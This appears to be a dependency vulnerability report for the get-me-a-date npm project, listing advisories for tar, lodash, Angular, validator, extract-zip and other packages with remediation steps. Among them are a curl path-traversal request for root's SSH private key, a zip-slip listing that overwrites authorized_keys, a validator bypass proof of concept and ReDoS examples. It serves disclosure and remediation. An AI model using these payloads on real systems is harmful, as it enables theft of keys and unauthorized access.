  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sqlite3@5.0.2 › node-gyp@3.8.0 › request@2.88.2 › har-validator@5.1.5 › ajv@6.15.0 › uri-js@4.4.1

Overview

uri-js is a RFC 3986/3987 compliant, scheme extendable URI/IRI parsing/validating/resolving library for JavaScript.

Affected versions of this package are vulnerable to Infinite loop via the removeDotSegments function, which loops infinitely when a path segment begins with Unicode line separators (U+2028) or paragraph separators (U+2029). An attacker can trigger this by passing such a path to removeDotSegments directly, or through the normalize or resolve functions with IRI handling enabled, blocking the Node.js event loop indefinitely until heap exhaustion.

Remediation

There is no fixed version for uri-js.

References

high severity

Incomplete Filtering of One or More Instances of Special Elements

  • Vulnerable module: validator
  • Introduced through: sequelize@5.21.13 and serverful@1.4.90

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sequelize@5.21.13 › validator@10.11.0
    Remediation: Upgrade to sequelize@5.22.5.
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › serverful@1.4.90 › hapi-swagger@13.1.0 › swagger-parser@4.0.2 › z-schema@3.25.1 › validator@10.11.0

Overview

validator is a library of string validators and sanitizers.

Affected versions of this package are vulnerable to Incomplete Filtering of One or More Instances of Special Elements in the isLength() function that does not take into account Unicode variation selectors (\uFE0F, \uFE0E) appearing in a sequence which lead to improper string length calculation. This can lead to an application using isLength for input validation accepting strings significantly longer than intended, resulting in issues like data truncation in databases, buffer overflows in other system components, or denial-of-service.

PoC

Input;

const validator = require('validator');

console.log(`Is "test" (String.length: ${'test'.length}) length less than or equal to 3? ${validator.isLength('test', { max: 3 })}`);
console.log(`Is "test" (String.length: ${'test'.length}) length less than or equal to 4? ${validator.isLength('test', { max: 4 })}`);
console.log(`Is "test\uFE0F\uFE0F\uFE0F\uFE0F" (String.length: ${'test\uFE0F\uFE0F\uFE0F\uFE0F'.length}) length less than or equal to 4? ${validator.isLength('test\uFE0F\uFE0F\uFE0F', { max: 4 })}`);

Output:

Is "test" (String.length: 4) length less than or equal to 3? false
Is "test" (String.length: 4) length less than or equal to 4? true
Is "test️️️️" (String.length: 8) length less than or equal to 4? true

Remediation

Upgrade validator to version 13.15.22 or higher.

References

high severity

Modification of Assumed-Immutable Data

  • Vulnerable module: @angular/core
  • Introduced through: @angular/core@4.4.4

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › @angular/core@4.4.4
    Remediation: Upgrade to @angular/core@20.3.25.

Overview

@angular/core is a package that lets you write client-side web applications as if you had a smarter browser. It also lets you use HTML as your template language and lets you extend HTML’s syntax to express your application’s components clearly and succinctly.

Affected versions of this package are vulnerable to Modification of Assumed-Immutable Data via document.getElementById('ng-state'), during client-side SSR hydration, which enables DOM clobbering. An attacker can inject malicious JSON payloads into the application's TransferState cache by introducing a DOM element with a predictable identifier before the legitimate state script is parsed, causing forged API responses to be served to users and leading to the execution of arbitrary scripts, privilege escalation, or UI manipulation.

Workaround

This vulnerability can be mitigated by sanitizing or prefixing dynamic IDs to prevent user-controlled values from being used directly, or by configuring a unique, non-predictable application ID to change the state element's identifier.

Remediation

Upgrade @angular/core to version 20.3.25, 21.2.17, 22.0.1 or higher.

References

high severity

Directory Traversal

  • Vulnerable module: extract-zip
  • Introduced through: facebook-login-for-robots@1.1.155

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › facebook-login-for-robots@1.1.155 › puppeteer@8.0.0 › extract-zip@2.0.1

Overview

extract-zip is an unzip a zip file into a directory using 100% javascript

Affected versions of this package are vulnerable to Directory Traversal via the extraction process. An attacker can access or modify arbitrary files by crafting a malicious zip archive containing symlinks that point outside the intended extraction directory.

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

There is no fixed version for extract-zip.

References

high severity

Arbitrary Code Injection

  • Vulnerable module: lodash
  • Introduced through: lodash@4.17.21, facebook-login-for-robots@1.1.155 and others

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › lodash@4.17.21
    Remediation: Upgrade to lodash@4.18.1.
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › facebook-login-for-robots@1.1.155 › lodash@4.17.21
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › request-on-steroids@1.1.110 › lodash@4.17.21
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › happn-wrapper@1.1.86 › lodash@4.17.21
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › health-checkup@1.0.45 › lodash@4.17.21
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › mint-wrapper@1.0.84 › lodash@4.17.21
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › modern-logger@1.5.86 › lodash@4.17.21
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › serverful@1.4.90 › lodash@4.17.21
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › tinder-wrapper@1.0.85 › lodash@4.17.21
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › facebook-login-for-robots@1.1.155 › random-http-useragent@1.1.33 › lodash@4.17.21
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › request-on-steroids@1.1.110 › random-http-useragent@1.1.33 › lodash@4.17.21
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › facebook-login-for-robots@1.1.155 › perseverance@1.0.61 › lodash@4.17.21
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › request-on-steroids@1.1.110 › perseverance@1.0.61 › lodash@4.17.21
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › happn-wrapper@1.1.86 › request-on-steroids@1.1.110 › lodash@4.17.21
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › mint-wrapper@1.0.84 › request-on-steroids@1.1.110 › lodash@4.17.21
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › tinder-wrapper@1.0.85 › request-on-steroids@1.1.110 › lodash@4.17.21
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › facebook-login-for-robots@1.1.155 › perseverance@1.0.61 › random-http-useragent@1.1.33 › lodash@4.17.21
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › request-on-steroids@1.1.110 › perseverance@1.0.61 › random-http-useragent@1.1.33 › lodash@4.17.21
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › happn-wrapper@1.1.86 › request-on-steroids@1.1.110 › random-http-useragent@1.1.33 › lodash@4.17.21
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › mint-wrapper@1.0.84 › request-on-steroids@1.1.110 › random-http-useragent@1.1.33 › lodash@4.17.21
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › tinder-wrapper@1.0.85 › request-on-steroids@1.1.110 › random-http-useragent@1.1.33 › lodash@4.17.21
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › happn-wrapper@1.1.86 › request-on-steroids@1.1.110 › perseverance@1.0.61 › lodash@4.17.21
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › mint-wrapper@1.0.84 › request-on-steroids@1.1.110 › perseverance@1.0.61 › lodash@4.17.21
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › tinder-wrapper@1.0.85 › request-on-steroids@1.1.110 › perseverance@1.0.61 › lodash@4.17.21
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › happn-wrapper@1.1.86 › request-on-steroids@1.1.110 › perseverance@1.0.61 › random-http-useragent@1.1.33 › lodash@4.17.21
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › mint-wrapper@1.0.84 › request-on-steroids@1.1.110 › perseverance@1.0.61 › random-http-useragent@1.1.33 › lodash@4.17.21
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › tinder-wrapper@1.0.85 › request-on-steroids@1.1.110 › perseverance@1.0.61 › random-http-useragent@1.1.33 › lodash@4.17.21

Overview

lodash is a modern JavaScript utility library delivering modularity, performance, & extras.

Affected versions of this package are vulnerable to Arbitrary Code Injection due the improper validation of options.imports key names in _.template. An attacker can execute arbitrary code at template compilation time by injecting malicious expressions. If Object.prototype has been polluted, inherited properties may also be copied into the imports object and executed.

Notes:

  1. Version 4.18.0 was intended to fix this vulnerability but it got deprecated due to introducing a breaking functionality issue.

  2. This issue is due to the incomplete fix for CVE-2021-23337.

Remediation

Upgrade lodash to version 4.18.1 or higher.

References

high severity

Arbitrary File Write

  • Vulnerable module: tar
  • Introduced through: sqlite3@5.0.2

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sqlite3@5.0.2 › node-gyp@3.8.0 › tar@2.2.2
    Remediation: Upgrade to sqlite3@5.0.3.

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Arbitrary File Write. node-tar aims to guarantee that any file whose location would be modified by a symbolic link is not extracted. This is, in part, achieved by ensuring that extracted directories are not symlinks. Additionally, in order to prevent unnecessary stat calls to determine whether a given path is a directory, paths are cached when directories are created.

This logic was insufficient when extracting tar files that contained both a directory and a symlink with the same name as the directory, where the symlink and directory names in the archive entry used backslashes as a path separator on posix systems. The cache checking logic used both \ and / characters as path separators. However, \ is a valid filename character on posix systems.

By first creating a directory, and then replacing that directory with a symlink, it is possible to bypass node-tar symlink checks on directories, essentially allowing an untrusted tar file to symlink into an arbitrary location. This can lead to extracting arbitrary files into that location, thus allowing arbitrary file creation and overwrite.

Additionally, a similar confusion could arise on case-insensitive filesystems. If a tar archive contained a directory at FOO, followed by a symbolic link named foo, then on case-insensitive file systems, the creation of the symbolic link would remove the directory from the filesystem, but not from the internal directory cache, as it would not be treated as a cache hit. A subsequent file entry within the FOO directory would then be placed in the target of the symbolic link, thinking that the directory had already been created.

Remediation

Upgrade tar to version 6.1.7, 5.0.8, 4.4.16 or higher.

References

high severity

Arbitrary File Write

  • Vulnerable module: tar
  • Introduced through: sqlite3@5.0.2

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sqlite3@5.0.2 › node-gyp@3.8.0 › tar@2.2.2
    Remediation: Upgrade to sqlite3@5.0.3.

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Arbitrary File Write. node-tar aims to guarantee that any file whose location would be modified by a symbolic link is not extracted. This is, in part, achieved by ensuring that extracted directories are not symlinks. Additionally, in order to prevent unnecessary stat calls to determine whether a given path is a directory, paths are cached when directories are created.

This logic is insufficient when extracting tar files that contain two directories and a symlink with names containing unicode values that normalized to the same value. Additionally, on Windows systems, long path portions would resolve to the same file system entities as their 8.3 "short path" counterparts. A specially crafted tar archive can include directories with two forms of the path that resolve to the same file system entity, followed by a symbolic link with a name in the first form, lastly followed by a file using the second form. This leads to bypassing node-tar symlink checks on directories, essentially allowing an untrusted tar file to symlink into an arbitrary location and extracting arbitrary files into that location.

Remediation

Upgrade tar to version 6.1.9, 5.0.10, 4.4.18 or higher.

References

high severity

Arbitrary File Write

  • Vulnerable module: tar
  • Introduced through: sqlite3@5.0.2

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sqlite3@5.0.2 › node-gyp@3.8.0 › tar@2.2.2
    Remediation: Upgrade to sqlite3@5.0.3.

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Arbitrary File Write. node-tar aims to guarantee that any file whose location would be outside of the extraction target directory is not extracted. This is, in part, accomplished by sanitizing absolute paths of entries within the archive, skipping archive entries that contain .. path portions, and resolving the sanitized paths against the extraction target directory.

This logic is insufficient on Windows systems when extracting tar files that contain a path that is not an absolute path, but specify a drive letter different from the extraction target, such as C:some\path. If the drive letter does not match the extraction target, for example D:\extraction\dir, then the result of path.resolve(extractionDirectory, entryPath) resolves against the current working directory on the C: drive, rather than the extraction target directory.

Additionally, a .. portion of the path can occur immediately after the drive letter, such as C:../foo, and is not properly sanitized by the logic that checks for .. within the normalized and split portions of the path.

Note: This only affects users of node-tar on Windows systems.

Remediation

Upgrade tar to version 6.1.9, 5.0.10, 4.4.18 or higher.

References

high severity

Cross-site Scripting (XSS)

  • Vulnerable module: @angular/compiler
  • Introduced through: @angular/compiler@11.2.3

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › @angular/compiler@11.2.3
    Remediation: Upgrade to @angular/compiler@19.2.17.

Overview

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via incomplete sanitization of certain SVG and MathML attributes, including xlink:href, math|href, as well as the attributeName attribute of SVG animation elements when it is bound to href or xlink:href. An attacker can execute arbitrary JavaScript code in the context of the application by injecting a javascript: URL payload into these attributes, which is then triggered either by user interaction or automatically through animation.

Workaround

This vulnerability can be mitigated by:

  1. Ensuring that data bound to the vulnerable attributes is never sourced from untrusted user input

  2. Avoiding affected template bindings

  3. Not binding untrusted data to the attributeName attribute of SVG animation elements

  4. Enabling a robust Content Security Policy (CSP) that disallows javascript: URLs.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade @angular/compiler to version 19.2.17, 20.3.15, 21.0.2 or higher.

References

high severity

Directory Traversal

  • Vulnerable module: tar
  • Introduced through: sqlite3@5.0.2

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sqlite3@5.0.2 › node-gyp@3.8.0 › tar@2.2.2
    Remediation: Upgrade to sqlite3@5.1.7.
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sqlite3@5.0.2 › node-pre-gyp@0.11.0 › tar@4.4.19

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Directory Traversal via the extract() function. An attacker can read or write files outside the intended extraction directory by causing the application to extract a malicious archive containing a chain of symlinks leading to a hardlink, which bypasses path validation checks.

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade tar to version 7.5.8 or higher.

References

high severity

Improper Filtering of Special Elements

  • Vulnerable module: sequelize
  • Introduced through: sequelize@5.21.13

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sequelize@5.21.13
    Remediation: Upgrade to sequelize@6.29.0.

Overview

sequelize is a promise-based Node.js ORM for Postgres, MySQL, MariaDB, SQLite and Microsoft SQL Server.

Affected versions of this package are vulnerable to Improper Filtering of Special Elements due to attributes not being escaped if they included ( and ), or were equal to * and were split if they included the character ..

Remediation

Upgrade sequelize to version 6.29.0 or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: @angular/common
  • Introduced through: @angular/common@4.4.4

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › @angular/common@4.4.4
    Remediation: Upgrade to @angular/common@19.2.23.

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the formatNumber function when the digitsInfo parameter is controlled by untrusted user input. An attacker can exhaust system resources and cause application unavailability by supplying a specially crafted digitsInfo string with excessively large fraction digit values.

Note: This is only exploitable if the application uses number formatting utilities and allows untrusted input to control the digitsInfo parameter.

Remediation

Upgrade @angular/common to version 19.2.23, 20.3.22, 21.2.15, 22.0.0-rc.2 or higher.

References

high severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: @angular/common
  • Introduced through: @angular/common@4.4.4

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › @angular/common@4.4.4
    Remediation: Upgrade to @angular/common@20.3.25.

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the formatDate function when processing an excessively long or attacker-controlled date format string. An attacker can cause high CPU and memory consumption, leading to application unavailability or browser unresponsiveness by supplying a maliciously crafted format string.

Note: This is only exploitable if the application formats dates using the vulnerable utility or pipe and the format string is customizable or controlled by untrusted user input.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade @angular/common to version 20.3.25, 21.2.17, 22.0.1 or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: @angular/router
  • Introduced through: @angular/router@4.4.4

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › @angular/router@4.4.4
    Remediation: Upgrade to @angular/router@20.3.32.

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the URL parsing of matrix parameters and child outlet names, which stores them as keys on plain JavaScript objects, so a numeric string key leads V8 to convert the object to a dense array backing store sized to the largest index, amplifying an 11 byte segment into 20 to 25 KB of heap. An attacker can exhaust the old space heap of a server side rendering worker and crash it with a JavaScript heap out of memory error, by sending requests whose paths repeat numeric matrix parameters, such as /a;990;2522/a;990;2522/, with 12 to 22 concurrent 8 KB paths sufficient against a 256 to 512 MiB worker. This requires server side rendering on Node.js with user controlled URLs reaching the router, so client side single page applications are unaffected, and it depends on no reverse proxy filtering semicolons or capping path segments ahead of the application.

Workaround

This vulnerability can be avoided by configuring the reverse proxy to reject or strip semicolons in request paths, or to enforce a limit of 20 to 30 path segments.

Remediation

Upgrade @angular/router to version 20.3.32, 21.2.24, 22.2.0 or higher.

References

high severity

Asymmetric Resource Consumption (Amplification)

  • Vulnerable module: @angular/router
  • Introduced through: @angular/router@4.4.4

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › @angular/router@4.4.4
    Remediation: Upgrade to @angular/router@20.3.33.

Overview

Affected versions of this package are vulnerable to Asymmetric Resource Consumption (Amplification) via the router's URL recognition logic (recognize.ts and config_matching.ts) when processing empty-path outlet groups in a request URL (such as x:/(detail:2), ///(detail:2), or x:/()) that have no corresponding route in the route configuration. The four affected code paths - processChildren, processSegmentAgainstRoute, matchSegmentAgainstRoute, and noLeftoversInUrl - allow unmatched zero-segment outlet groups to bypass route validation, enabling an attacker to trigger unbounded recursive processing that exhausts available heap memory and crashes the server process.

Note: This is only exploitable when worker heaps are sized small enough relative to the request payload and concurrency (e.g., containers or serverless instances configured with 128 MiB-1 GiB).

Remediation

Upgrade @angular/router to version 20.3.33, 21.2.25, 22.2.1 or higher.

References

high severity

Directory Traversal

  • Vulnerable module: @hapi/inert
  • Introduced through: serverful@1.4.90

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › serverful@1.4.90 › @hapi/inert@6.0.3

Overview

@hapi/inert is a Static file and directory handlers plugin for hapi.js

Affected versions of this package are vulnerable to Directory Traversal via the confine option. An unauthenticated remote attacker can access files outside the intended directory by crafting requests that exploit sibling directories with similar name prefixes.

Note: This is only exploitable if a sibling directory exists whose name starts with the same characters as the served directory.

Workaround

This vulnerability can be mitigated by ensuring that the directory served does not have a sibling whose name starts with the same characters, such as by renaming or relocating the sibling directory.

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade @hapi/inert to version 7.1.1 or higher.

References

high severity

Prototype Pollution

  • Vulnerable module: rollbar
  • Introduced through: modern-logger@1.5.86

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › modern-logger@1.5.86 › rollbar@2.21.0

Overview

rollbar is an Effortlessly track and debug errors in your JavaScript applications with Rollbar. This package includes advanced error tracking features and an intuitive interface to help you identify and fix issues more quickly.

Affected versions of this package are vulnerable to Prototype Pollution via the merge function. An attacker can modify the prototype of built-in objects by supplying crafted input to the configuration process. This can lead to unexpected behavior or security issues in the application if untrusted input is passed to configuration.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

